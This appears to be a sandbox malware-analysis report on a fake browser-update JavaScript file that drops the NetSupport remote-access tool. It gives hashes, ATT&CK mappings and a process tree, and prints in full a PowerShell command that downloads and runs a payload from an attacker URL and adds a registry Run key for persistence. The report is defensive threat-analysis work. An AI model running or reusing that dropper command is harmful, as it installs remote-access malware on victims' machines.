netsupport | b24d7acdc4b26e5829fdf9be02a8bf4b864c99b420c222f4b8066a54981f53c6

Analysis

max time kernel
1774s
max time network
1776s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
03-07-2024 13:40

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General

Target

Update 124.0.6367.158.js
Size

13.0MB
MD5

b613fd3763e4d2d8a32019015d95a84d
SHA1

201018208e4bf8a2c40b7611ba2042e413d4a7e5
SHA256

b24d7acdc4b26e5829fdf9be02a8bf4b864c99b420c222f4b8066a54981f53c6
SHA512

08e615607fd8722612cac53180c0c2faf231735ff8db9662120e5ef00e343839e2721670ed7f06b7d0e94bd462b4df275a9e1eb6249a898125e9753e5824242b
SSDEEP

49152:CalYOjByIHBJ8V6tlBDBFcLBLtmp3+T2vPHr+Z3jb4JsjcqTbsPF5xhyMA81qIdj:5

Score

10^/10

netsupport execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://helpcenter.cyou/help.php?12816

exe.dropper

http://helpcenter.cyou/help.php?12816

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4208	wscript.exe
8	4856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4856	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3520	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
3520	client32.exe
3520	client32.exe
3520	client32.exe
3520	client32.exe
3520	client32.exe
3520	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\CDAJFWQDJYD = "C:\\Users\\Admin\\AppData\\Roaming\\ZALTPKSE12\\client32.exe"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4856	powershell.exe
4856	powershell.exe
4856	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeSecurityPrivilege	3520	client32.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3520	client32.exe
3520	client32.exe
3520	client32.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3520	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4208 wrote to memory of 4856	4208	wscript.exe	73
PID 4208 wrote to memory of 4856	4208	wscript.exe	73
PID 4856 wrote to memory of 3520	4856	powershell.exe	75
PID 4856 wrote to memory of 3520	4856	powershell.exe	75
PID 4856 wrote to memory of 3520	4856	powershell.exe	75

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update 124.0.6367.158.js"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $PVYD='http://helpcenter.cyou/help.php?12816';$JCQSALDYDJ=(New-Object System.Net.WebClient).DownloadString($PVYD);$EPIA=[System.Convert]::FromBase64String($JCQSALDYDJ);$asd = Get-Random -Minimum -10 -Maximum 37; $OTSQTZJNVI=[System.Environment]::GetFolderPath('ApplicationData')+'\ZALTPKSE'+$asd;if (!(Test-Path $OTSQTZJNVI -PathType Container)) { New-Item -Path $OTSQTZJNVI -ItemType Directory };$p=Join-Path $OTSQTZJNVI 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$EPIA);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$OTSQTZJNVI)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $OTSQTZJNVI 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $OTSQTZJNVI -Force; $fd.attributes='Hidden';$s=$OTSQTZJNVI+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='CDAJFWQDJYD';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Users\Admin\AppData\Roaming\ZALTPKSE12\client32.exe
    "C:\Users\Admin\AppData\Roaming\ZALTPKSE12\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:3520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bxmxuhrq.oda.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\ZALTPKSE12\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\ZALTPKSE12\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\ZALTPKSE12\NSM.LIC

Filesize
195B

MD5
e9609072de9c29dc1963be208948ba44

SHA1
03bbe27d0d1ba651ff43363587d3d6d2e170060f

SHA256
dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747

SHA512
f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0

Download Submit
C:\Users\Admin\AppData\Roaming\ZALTPKSE12\PCICL32.dll

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\ZALTPKSE12\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\ZALTPKSE12\client32.ini

Filesize
671B

MD5
c94845bb509056e66ee5767759c9e5bd

SHA1
c1b6e003cf0ab1f236375faebe8707d519fd8a3d

SHA256
b2caadb660455f1aaf3737b93879e35d05602be1fdf2531602fd61e006e8c80a

SHA512
6c3750804763221bc72031c051eb9ae67874ffae7795f96435ef577ff3f7e84f5a42c9715ebbde53b1bd9e9ad5b7e59a691ab36df2267a5a5fc2c84f032d1e86

Download Submit
C:\Users\Admin\AppData\Roaming\ZALTPKSE12\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\ZALTPKSE12\remcmdstub.exe

Filesize
62KB

MD5
6fca49b85aa38ee016e39e14b9f9d6d9

SHA1
b0d689c70e91d5600ccc2a4e533ff89bf4ca388b

SHA256
fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814

SHA512
f9c90029ff3dea84df853db63dace97d1c835a8cf7b6a6227a5b6db4abe25e9912dfed6967a88a128d11ab584663e099bf80c50dd879242432312961c0cfe622

Download Submit
\Users\Admin\AppData\Roaming\ZALTPKSE12\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
memory/4856-11-0x0000020959590000-0x0000020959606000-memory.dmp

Filesize
472KB

Download
memory/4856-45-0x0000020959730000-0x0000020959742000-memory.dmp

Filesize
72KB

Download
memory/4856-44-0x0000020959570000-0x000002095957A000-memory.dmp

Filesize
40KB

Download
memory/4856-26-0x00007FF833F80000-0x00007FF83496C000-memory.dmp

Filesize
9.9MB

Download
memory/4856-133-0x00007FF833F80000-0x00007FF83496C000-memory.dmp

Filesize
9.9MB

Download
memory/4856-5-0x00007FF833F83000-0x00007FF833F84000-memory.dmp

Filesize
4KB

Download
memory/4856-9-0x00007FF833F80000-0x00007FF83496C000-memory.dmp

Filesize
9.9MB

Download
memory/4856-7-0x00000209593E0000-0x0000020959402000-memory.dmp

Filesize
136KB

Download
memory/4856-6-0x00007FF833F80000-0x00007FF83496C000-memory.dmp

Filesize
9.9MB

Download